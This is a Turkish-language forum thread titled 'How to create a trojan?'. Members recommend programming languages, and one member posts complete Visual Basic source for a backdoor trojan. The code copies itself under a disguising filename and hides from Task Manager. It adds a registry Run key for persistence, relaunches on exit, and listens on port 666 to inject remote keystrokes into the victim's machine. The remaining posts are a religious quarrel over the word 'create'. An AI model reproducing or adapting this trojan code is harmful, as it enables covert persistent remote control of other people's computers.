Trojennasıl Yaratılır?

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Stifler
    Stifler's avatar
    Kayıt Tarihi: 22/Eylül/2003
    Erkek
    Arkadaşlar trojen yazmak için hangi programları kullanabiliriz?

    3 Hafta önce Sigara Öldürüyor diye okudum, sigarayı bıraktım. 2 hafta önce Alkol Öldürüyor diye okudum, Alkolü bıraktım. Geçenlerde Aşırı Seks öldürüyor diye okudum, okumayı bıraktım..
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Fugitive
    Fugitive's avatar
    Kayıt Tarihi: 18/Mayıs/2003
    Erkek
    Arkadaşım trojan yazmak için programlama dili bilmen gerekir kullanabileceğin programlar"da visual basic, c++ vede delphi olabilir.

    You think the game is over ? It has just begun ;)
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    AkisSoftware
    AkisSoftware's avatar
    Kayıt Tarihi: 01/Kasım/2003
    Erkek
    Ben delphi ile yapmıştım... zaten school bus felan bununla yapıldı.. hemen hemen hepsi... bence sende dene :)

    Delphi ve Assembly Programcisi
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Stifler
    Stifler's avatar
    Kayıt Tarihi: 22/Eylül/2003
    Erkek
    AkisSoftware bunu yazdı:
    -----------------------------
    Ben delphi ile yapmıştım... zaten school bus felan bununla yapıldı.. hemen hemen hepsi... bence sende dene :)
    -----------------------------

    peki bu programı nerden bulurum :)

    3 Hafta önce Sigara Öldürüyor diye okudum, sigarayı bıraktım. 2 hafta önce Alkol Öldürüyor diye okudum, Alkolü bıraktım. Geçenlerde Aşırı Seks öldürüyor diye okudum, okumayı bıraktım..
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    WhiteThales
    WhiteThales's avatar
    Kayıt Tarihi: 04/Mart/2003
    Erkek
    vb ile nası yaparıs trojan

    WhiteThales
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    AkisSoftware
    AkisSoftware's avatar
    Kayıt Tarihi: 01/Kasım/2003
    Erkek
    www.inprise.com

    ayni zamanda
    www.borland.com adresi ilede ulsabilirsin eger kapanmadiysa..

    trial versiyonunu indirebilirsin.. sanirim 7 var son olarak..


    kolay gele

    Delphi ve Assembly Programcisi
  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    myxparadise
    myxparadise's avatar
    Kayıt Tarihi: 09/Eylül/2003
    Erkek
    AL bak bu vbasic de yazdığım bi trojan. Çocuk oyuncağı ama idare et artık
    Private Sub Form_Initialize()
    " Trojan her çalıştığında Program Files klasörlerine kendisini kopyalayacak.
    On Error Resume Next
    Dim yol, ad, TamYol
    yol = App.Path " Ben nerdeyim ?
    ad = App.EXEName & ".exe" " Ben kimim?
    TamYol = yol & "\" & ad
    " yaşasın nüfus patlaması...
    FileCopy TamYol, "C:\Program Files\BenTrojanDeğilim.exe"
    End Sub

    Private Sub Form_Load()
    " Trojanı Ctrl + Alt + Del (Windows Görev Yöneticisi) ekranından gizle
    App.TaskVisible = False
    " Trojan her başladığında kendisini windows Kayıt defterine windows ile birlikte
    " başlamak üzere kayıt ediyor...
    Dim KayitDefteri As Object
    Set KayitDefteri = CreateObject("wscript.shell")
    KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
    " Trojanın winsock ile dinlemeye alacağı port burada belirleniyor.
    " Trojan 666 portu dışarıdan gelecek istekler için kullanıma açıyor.
    " 666 Portu isterseniz değiştirebilirsiniz...
    Winsock1.LocalPort = "666" "
    " Ve artık 666. port bağlantıları dinlemeye alınıyor
    On Error Resume Next " trojan bir şekilde birden fazla çalışırsa oluşacak olan adres kullanım hatasını gidermek için
    " yani aynı adresi birden fazla winsock nesnesinini dinlemesini engelliyoruz.
    Winsock1.Listen
    " Form gizleniyor
    Me.Hide
    End Sub

    Private Sub Form_Terminate()
    " İşte baş belası: Program kapatılsa bile tekrar çalışacak.
    Dim ac, d1 As String
    d1 = "C:\Program Files\BenTrojanDeğilim.exe"
    ac = Shell(d1)
    End Sub

    Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
    "Winsock kontrolü kullanılıyor mu bak.
    If Winsock1.State <> sckClosed Then Winsock1.Close
    "Can alıcı nokta. Dışarıdan gelecek olan bağlantıları kabul et.
    Winsock1.Accept requestID
    End Sub
    Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
    "Hata olmuşsa yada bağlantı kaybedilmişse, tekrar dinlemeye geç.
    Winsock1.Close
    Winsock1.Listen
    End Sub

    Private Sub Winsock1_Close()
    Winsock1.Close
    Winsock1.Listen
    End Sub

    Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    Dim data1 As String
    Winsock1.GetData data1 " mesajal
    DoEvents
    SendKeys data1 "mesaj gönder
    End Sub






    How happy is the person who says I'm a TURK!!!
  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    helyum_pasha
    helyum_pasha's avatar
    Kayıt Tarihi: 22/Haziran/2008
    Erkek
    hocam konu başlığı hiç iyi değil yaratmak allaha mahsustur..

    *
  9. KısayolKısayol reportŞikayet pmÖzel Mesaj
    fenerist07
    fenerist07's avatar
    Kayıt Tarihi: 09/Ağustos/2005
    Erkek

    helyum_pasha bunu yazdı:
    -----------------------------
    hocam konu başlığı hiç iyi değil yaratmak allaha mahsustur..
    -----------------------------

    and god created trojan..


    Amphetamine Logic.
  10. KısayolKısayol reportŞikayet pmÖzel Mesaj
    aLsanCaK
    aLsanCaK's avatar
    Kayıt Tarihi: 30/Kasım/2007
    Erkek

    helyum_pasha bunu yazdı:
    -----------------------------
    hocam konu başlığı hiç iyi değil yaratmak allaha mahsustur..
    -----------------------------

    yobazlarin basit kelime oyunlarina takilmayalim kucuk dostum , arkadasin yaratmaktan kasti olusturmaktir.

  11. KısayolKısayol reportŞikayet pmÖzel Mesaj
    EcHoLL
    EcHoLL's avatar
    Kayıt Tarihi: 04/Eylül/2008
    Erkek
    hey allahım ya yaratmak allaha mahsusturda o klavyeyi sana allah mı yaratdı insan zekası ile yarattı yaratıcı allahtır ama icatları yaratan insandır.

    insanları Silahsızlandırmak onları köleleştirmek için En iyi Yoldur.
Toplam Hit: 1569 Toplam Mesaj: 11